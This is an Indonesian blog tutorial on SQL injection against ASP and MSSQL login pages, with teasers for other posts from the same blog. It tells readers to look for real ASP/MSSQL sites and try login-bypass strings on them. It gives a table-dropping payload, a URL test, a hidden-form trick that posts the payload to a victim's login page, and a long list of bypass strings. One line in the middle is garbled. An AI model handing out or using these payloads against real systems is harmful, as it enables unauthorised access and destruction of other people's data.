Skip to main content

Pemahaman Dasar Apa Itu Sql Injection Dan Fungsinya

Sebelum membahas tentang Bagaimana sql injection itu pertama-tama saya akan menerangkan apa itu sql injection dan kenapa hal itu bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insertkan beberapa SQL statement ke 'query' dengan cara manipulasi data input ke applikasi tersebut.
Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,
disini saya cuma akan membahas tentang ASP+MsSql yang sudah dicoba pada IIS 5 dan beberapa sql injection pada url.
Biasanya Sql Injection dilakukan pada login page pada asp seperti di :
               admin\login.asp
               login.asp
Jadi yang akan menjadi target adalah page tersebut ,
sekarang kita mulai saja dengan dasar-dasar sql injection.
Biasanya di sql statment:
               select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Biasanya pada login page dengan mengunakan statment result setnya sebagai berikut :

select id, user_name,password from user where name = 'echo' and password='password'

Pada IIS dan ASP apabila terdapat kesalahan syntax script akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language" 
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah,Tidak tahu kenapa karakter single quote 'breaks out' dari delimiter nya SQL  Jadi kalau misal ada inputan 
User: echo';drop table user--
dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginnya.
oh iya ini merukapan mark nya MSSQL, jadi perintah selanjutnya tidak di execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login script seperti
input login + password. Nama field nya 'login' dan 'pass'. dan 
SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)
pasti ke droplah tuh table usersnya.
Aduh dari pada pusing ya , gini deh cara gampangnya adalah kita lupakan saja yang diatas.kita langsung praktek saja:
Coba carilah disitus-situs yang menggunakan asp dan MsSql sebagai DB nya, lalu cari login.asp atau
admin\login.asp.
Kalau sudah dapat masukkan nih variable sql nya
user:admin 
pass:' or 1=1--
Raw end Task echo left 1

Ingat kita disini hanya coba-coba kali aja dba nya tidak terlalu pinter.
atau :
user:' or 1=1--
admin:' or 1=1--
Mas , tidak bisa nih gimana ya ?
Inget sekarang rata-rata para admin pada pinter semua , kita cari yang gampang saja deh untuk tes kalau ga, kamu bisa buat sendiri script dan tes karena gw sudah coba buat sendiri dan berhasil tanpa melakukan paket filter pada db nya .Untuk test apakah suatu page mempunyai vulnerable,begini caranya :
Kalian pernah melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://vivtim/index.asp?id=10
Selain kita test dengan login page diatas tadi , kita test dalam melakukan sedikit tambahan
pada addressnya seperti memasukan : test'1=1-- 
menjadi http://victim/index.asp?id=test'1=1--
Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page target
lalu kita tamhankan hidden field pada source tersebut sebagai contoh :
               <FORM action=http://victim/admin/login.asp method=post>
               <input type=hidden name=A value="test' or 1=1--">
               </FORM>

Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.
ingat script ini ditambahkan pada script yang sudah kalian download dari target .
                                                             
                                                             Variable ' or 1=1--
Mungkin ada yang bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contoh pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tersebut.
Kalau ditulis dalam script ASP maka akan menjadi :
               v_cat = request("category")
               sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
               set rs=conn.execute(sqlstr)

Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pada sql statment menjadi
               SELECT * FROM product WHERE PCategory='laptop'
lalu apa hub dengan 'or 1=1---
coba kalau kita ganti http://victim/index.asp?category=laptop menjadi
               http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi
               SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
artinya v_cat mendapatkan masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkan
Sql Server menjadi bingung dan akan mengeksekusi Select * pada table tersebut yang mengakibatkan
kita bisa masuk kedalam db teserbut dan db tersebut tidak berfungsi. Lalu tanda -- merupakan 
mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login page
Kita bisa masuk kedalam login page tanpa password dan user name.
Kemungkinan-kemungkinan variable lainya :
               or 1=1--
               " or 1=1--
               or 1=1--
               ' or 'a'='a
               " or "a"="a
               ') or ('a'='a
               ' or 0=0 --
               " or 0=0 --
               or 0=0 --
               ' or 0=0 #
               " or 0=0 #
               or 0=0 #
               ' or 'x'='x
               " or "x"="x
               ') or ('x'='x
               ' or 1=1--
               " or 1=1--
               or 1=1--
               ' or a=a--
               " or "a"="a
               ') or ('a'='a
               ") or ("a"="a
               hi" or "a"="a
               hi" or 1=1 --
               hi' or 1=1 --
               hi' or 'a'='a
               hi') or ('a'='a
               hi") or ("a"="a
               
Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injection
dan untuk artikel akan dimasukan dalam ezine 3 echo.or.id .Semoga artikel ini bermanfaat.
Pengunjung yang baik meninggalkan komentar dan share article ini.

Comments

Popular posts from this blog

Pengertian dasar cmd atau command prompt

Pada dasarnya Command Prompt adalah fitur Windows yang menyediakan titik masuk untuk mengetik MS-DOS (Microsoft Disk Operating System) perintah dan perintah komputer lainnya. Hal yang paling penting untuk diketahui adalah bahwa dengan mengetik perintah, Anda dapat melakukan tugas-tugas pada komputer Anda tanpa menggunakan antarmuka grafis Windows dan tanpa ribet buka dan nyari progam sana sini. Command Prompt biasanya hanya digunakan oleh pengguna tingkat lanjut. Bila Anda menggunakan Command Prompt ,anda bisa menemukan banyak kegunaan didalamnya hanya dengan mengetikkan code perintah saja. command prompt istilahnya juga mengacu pada sudut braket kanan (>, juga dikenal sebagai lebih besar dari karakter) yang menunjukkan antarmuka baris perintah dan dapat menerima perintah. Informasi penting lainnya, seperti direktori saat kerja (atau lokasi) dimana perintah akan dijalankan, dapat dimasukkan sebagai bagian dari command prompt. Misalnya, jika Anda membuka jendela Command Prompt dan...

Pengertian Singkatan Dan Istilah Dalam Dunia Adsense

Apa itu Google Adsense?dan apa kegunaannya?memang untuk seorang blogger sudah banyak yang mengetahui kata adsense,karena mereka tidak hanya hobi ngeblog tapi juga bisa menghasilkan uang dari blog yang mereka kelola sendiri.Google adsense merupakan salah satu sarana bagi para blogger untuk menghasilkan uang secara online dari website,blog,ataupun youtube. Google Adsense bisa digunakan oleh siapapun di dunia ini dan dari mana saja,entah dari negara indonesia,amerika,auntralia,india,arab,rusia,dll, asalkan memiliki website atau blog yang sudah memenuhi kriteria. Contoh akun ditolak adsense :v Orang yang baru pertama kali mengenal Adsense atau penyedia iklan lain di Internet biasanya akan kesulitan dan bingung dengan banyaknya istilah yang digunakan, seperti CPC, CTR dan lain-lain sebagainya. Istilah tersebut sudah seharusnya di ketahui oleh para publisher adsense agar bisa lebih mengerti dan bisa memikirkan teknik tertentu agar pengunjung website menjadi ramai dan pendapatan adsens...

Penjelasan Lengkap Tentang Macam macam Teknik Hacking

Bermula dari Komputer IBM yaitu pc jadul yang hanya memiliki beberapa fitur saja dan sekarang komputerpun mulai berkembang sangat pesat dari teknologi,desain,fitur,sistem operasinya juga semakin bervariasi.Kata Hacker juga semakin terkenal yaitu seorang yang bisa meretas suatu system atau Hacker adalah seseorang dimana dia menciptakan sesuatu yang berhubungan dengan bahasa pemograman dan memproteksi dari tindakan yang tidak sah dari pembajakan. Biasanya mereka mempunyai kode etik dimana tidak akan saling merusak dari sesuatu Pemrograman yang masih baru, kecuali jika program tersebut sudah mati atau tidak digunakan Lagi. Mereka akan saling mengingatkan bila pemograman yang diciptakan mengalami bug atau terdapat celah-celah yang tentunya peringatan mereka tidak diketahui oleh orang umum.Nah itu bisa disebut white hacker tapi ada juga black hacker yang suka mencari sensasi atau tantangan untuk kepentingan dan kesenangan sendiri,Tipe ini bersifat merugikan orang lain karena perbuatan...